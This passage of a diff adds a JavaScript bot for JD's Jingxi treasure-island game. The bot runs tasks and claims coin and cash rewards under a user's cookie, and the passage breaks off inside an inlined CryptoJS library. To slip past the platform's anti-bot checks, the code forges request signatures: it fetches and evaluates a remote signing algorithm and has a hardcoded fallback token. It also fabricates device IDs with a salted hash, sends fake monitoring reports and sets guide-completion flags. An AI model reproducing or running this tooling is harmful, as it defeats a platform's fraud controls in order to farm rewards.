taskGet('DoTask1', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}&configExtra=`) + } + await $.wait(1000) + res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney){ + console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && res.data.prizeInfo.ddwCoin+'金币' || ''} ${res.data.prizeInfo.ddwMoney && res.data.prizeInfo.ddwMoney+'财富' || ''}`) + }else{ + console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) + } + await $.wait(1000) + } + } + } + + }catch (e) { + $.logErr(e); + } +} +// 日常任务、成就任务 +async function UserTask(){ + try{ + await $.wait(2000) + let res = '' + $.task = await taskGet(`GetUserTaskStatusList`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', '&ptag=&taskId=0') + if($.task && $.task.data && $.task.data.userTaskStatusList){ + console.log(`\n日常任务、成就任务`) + for(let i in $.task.data.userTaskStatusList){ + let item = $.task.data.userTaskStatusList[i] + if(item.awardStatus != 2 && item.completedTimes === item.targetTimes) continue + console.log(`任务 ${item.taskName} (${item.completedTimes}/${item.targetTimes})`) + if (item.awardStatus == 2 && item.completedTimes === item.targetTimes) { + res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ + console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+res.data.prizeInfo.ddwCoin+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) + }else{ + console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) + } + await $.wait(1000) + } + if(item.dateType == 2){ + if(item.completedTimes < item.targetTimes && ![6,7,8,9,10].includes(item.orderId)){ + if(item.taskName.indexOf('捡贝壳') >-1 || item.taskName.indexOf('赚京币任务') >-1) continue + let b = (item.targetTimes-item.completedTimes) + for(i=1;b--;i++){ + console.log(`第${i}次`) + res = await taskGet('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}&configExtra=`) + await $.wait(5000) + } + res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ + console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+res.data.prizeInfo.ddwCoin+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) + }else{ + console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) + } + }else if(item.awardStatus === 2 && [1].includes(item.orderId)){ + } + await $.wait(1000) + }else if(item.dateType == 1){ + // console.log('enensss') + } + // break + } + } + + }catch (e) { + $.logErr(e); + } +} + +function printRes(res, msg=''){ + if(res.iRet == 0 && (res.Data || res.ddwCoin || res.ddwMoney || res.strPrizeName)){ + let result = res + if(res.Data){ + result = res.Data + } + if(result.ddwCoin || result.ddwMoney || result.strPrizeName || result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName){ + console.log(`${msg}获得:${result.ddwCoin && ' '+result.ddwCoin+'金币' || ''}${result.ddwMoney && ' '+result.ddwMoney+'财富' || ''}${result.strPrizeName && ' '+result.strPrizeName+'红包' || ''}${result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName && ' '+result.StagePrizeInfo.strPrizeName || ''}`) + }else if(result.Prize){ + console.log(`${msg}获得: ${result.Prize.strPrizeName && '优惠券 '+result.Prize.strPrizeName || ''}`) + }else if(res && res.sErrMsg){ + console.log(res.sErrMsg) + }else{ + console.log(`${msg}完成`, JSON.stringify(res)) + // console.log(`完成`) + } + }else if(res && res.sErrMsg){ + console.log(`${msg}失败:${res.sErrMsg}`) + }else{ + console.log(`${msg}失败:${JSON.stringify(res)}`) + } +} +function getJxAppToken(){ + function generateStr(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz1234567890", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n + } + let phoneId = generateStr(40); + let timestamp = Date.now().toString(); + let pgUUNum = $.CryptoJS.MD5('' + decodeURIComponent($.UserName || '') + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy').toString($.CryptoJS.enc.MD5); + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': pgUUNum + } +} +async function noviceTask(){ + let additional= `` + let stk= `` + additional= `` + stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + await taskGet(`user/guideuser`, stk, additional) + additional= `&strMark=guider_step&strValue=welcom&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=none&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) +} + +function taskGet(type, stk, additional){ + return new Promise(async (resolve) => { + let myRequest = getGetRequest(type, stk, additional) + $.get(myRequest, async (err, resp, _data) => { + let data = '' + try { + let contents = '' + // console.log(_data) + data = $.toObj(_data) + if(data && data.iRet == 0){ + // console.log(_data) + }else{ + // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 + // console.log(_data) + } + contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` + await biz(contents) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +function getGetRequest(type, stk='', additional='') { + let url = ``; + let dwEnv = 7; + if(type == 'user/ComposeGameState'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd${additional}&_=${Date.now()}&sceneval=2` + }else if(type == 'user/RealTmReport'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` + }else{ + let stks = '' + if(stk) stks = `&_stk=${stk}` + if(type == 'story/GetTakeAggrPages' || type == 'story/RewardSigns') dwEnv = 6 + if(type == 'story/GetTakeAggrPages') type = 'story/GetTakeAggrPage' + if(type == 'story/RewardSigns') type = 'story/RewardSign' + if(type == 'GetUserTaskStatusList' || type == 'Award' || type == 'Award1' || type == 'DoTask' || type == 'DoTask1'){ + let bizCode = 'jxbfd' + if(type == 'Award1'){ + bizCode = 'jxbfddch' + type = 'Award' + }else if(type == 'DoTask1'){ + bizCode = 'jxbfddch' + type = 'DoTask' + } + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${type}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` + }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; + }else{ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; + } + url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + + } + } +} + +function biz(contents){ + return new Promise(async (resolve) => { + let myRequest = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + } + } + $.get(myRequest, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + }); +} + +function opId(type){ + let jsonMap = { + "user/QueryUserInfo": 1, + "user/GetMgrAllConf": 3, + "story/QueryUserStory": 5, + "user/GetJdToken": 11, + "story/CouponState": 13, + "story/WelfareDraw": 15, + "story/GetWelfarePage": 17, + "story/SendWelfareMoney": 19, + "user/SetMark": 23, + "user/GetMark": 25, + "user/guideuser": 27, + "user/createbuilding": 29, + "user/BuildLvlUp": 31, + "user/CollectCoin": 33, + "user/GetBuildInfo": 35, + "user/SpeedUp": 37, + "story/AddNoticeMsg": 39, + "user/breakgoldenegg": 41, + "user/closewindow": 43, + "user/drawpackprize": 45, + "user/GetMoneyDetail": 47, + "user/EmployTourGuide": 49, + "story/sellgoods": 51, + "story/querystorageroom": 53, + "user/queryuseraccount": 55, + "user/EmployTourGuideInfo": 57, + "consume/TreasureHunt": 59, + "story/QueryAppSignList": 61, + "story/AppRewardSign": 63, + "story/queryshell": 65, + "story/QueryRubbishInfo": 67, + "story/pickshell": 69, + "story/CollectorOper": 71, + "story/MermaidOper": 73, + "story/RubbishOper": 75, + "story/SpecialUserOper": 77, + "story/GetUserTaskStatusList": 79, + "user/ExchangeState": 87, + "user/ExchangePrize": 89, + "user/GetRebateGoods": 91, + "user/BuyGoods": 93, + "user/UserCashOutState": 95, + "user/CashOut": 97, + "user/GetCashRecord": 99, + "user/CashOutQuali": 101, + "user/GetAwardList": 103, + "story/QueryMailBox": 105, + "story/MailBoxOper": 107, + "story/UserMedal": 109, + "story/QueryMedalList": 111, + "story/GetTakeAggrPage": 113, + "story/GetTaskRedDot": 115, + "story/RewardSign": 117, + "story/helpdraw": 119, + "story/helpbystage": 121, + "task/addCartSkuNotEnough": 123, + "story/GetActTask": 125, + "story/ActTaskAward": 127, + "story/DelayBizReq": 131, + "story/AddSuggest": 133, + } + let opId = jsonMap[type] + if (opId!=undefined) return opId + return 5001 +} + +async function requestAlgo() { + $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + headers: { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'User-Agent': UA, + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fp, + "appId": $.appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + const { ret, msg, data: { result } = {} } = JSON.parse(data); + $.token = result.tk; + $.genKey = new Function(`return ${result.algo}`)(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getRandomIDPro() { + var e, + t, + a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, + n = void 0 === (n = t.dictType) ? 'number' : n, + i = ''; + if ((t = t.customDict) && 'string' == typeof t) e = t; + else + switch (n) { + case 'alphabet': + e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + case 'max': + e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case 'number': + default: + e = '0123456789'; + } + + for (; a--;) i += e[(Math.random() * e.length) | 0]; + return i; +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') + if (stk) { + const timestamp = format("yyyyMMddhhmmssSSS", time); + const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') + } +} + +function format(a, time) { + if (!a) a = 'yyyy-MM-dd'; + var t; + if (!time) { + t = Date.now(); + } else { + t = new Date(time); + } + var e, + n = new Date(t), + d = a, + l = { + 'M+': n.getMonth() + 1, + 'd+': n.getDate(), + 'D+': n.getDate(), + 'h+': n.getHours(), + 'H+': n.getHours(), + 'm+': n.getMinutes(), + 's+': n.getSeconds(), + 'w+': n.getDay(), + 'q+': Math.floor((n.getMonth() + 3) / 3), + 'S+': n.getMilliseconds(), + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + Object.keys(l).forEach(e => { + if (new RegExp('('.concat(e, ')')).test(d)) { + var t, + a = 'S+' === e ? '000' : '00'; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); + } + }); + return d; +} + +function getUrlQueryParams(url_string, param) { + let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); + let r = url_string.split('?')[1].substr(0).match(reg); + if (r != null) { + return decodeURIComponent(r[2]); + }; + return ''; +} + + + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + let res = [] + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) res = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(res || []); + } + }) + await $.wait(10000) + resolve(res); + }) +} + +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ + function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} + + +// 计算时间 +function timeFn(dateBegin) { + var hours = 0 + var minutes = 0 + var seconds = 0 + if(dateBegin != 0){ + //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 + var dateEnd = new Date();//获取当前时间 + var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 + var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 + hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 + //计算相差分钟数 + var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 + minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 + //计算相差秒数 + var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 + seconds = Math.round(leave3 / 1000) + } + hours = hours < 10 ? '0'+ hours : hours + minutes = minutes < 10 ? '0'+ minutes : minutes + seconds = seconds < 10 ? '0'+ seconds : seconds + var timeFn = hours + ":" + minutes + ":" + seconds; + return timeFn; +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function CryptoScripts() { + // prettier-ignore + !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_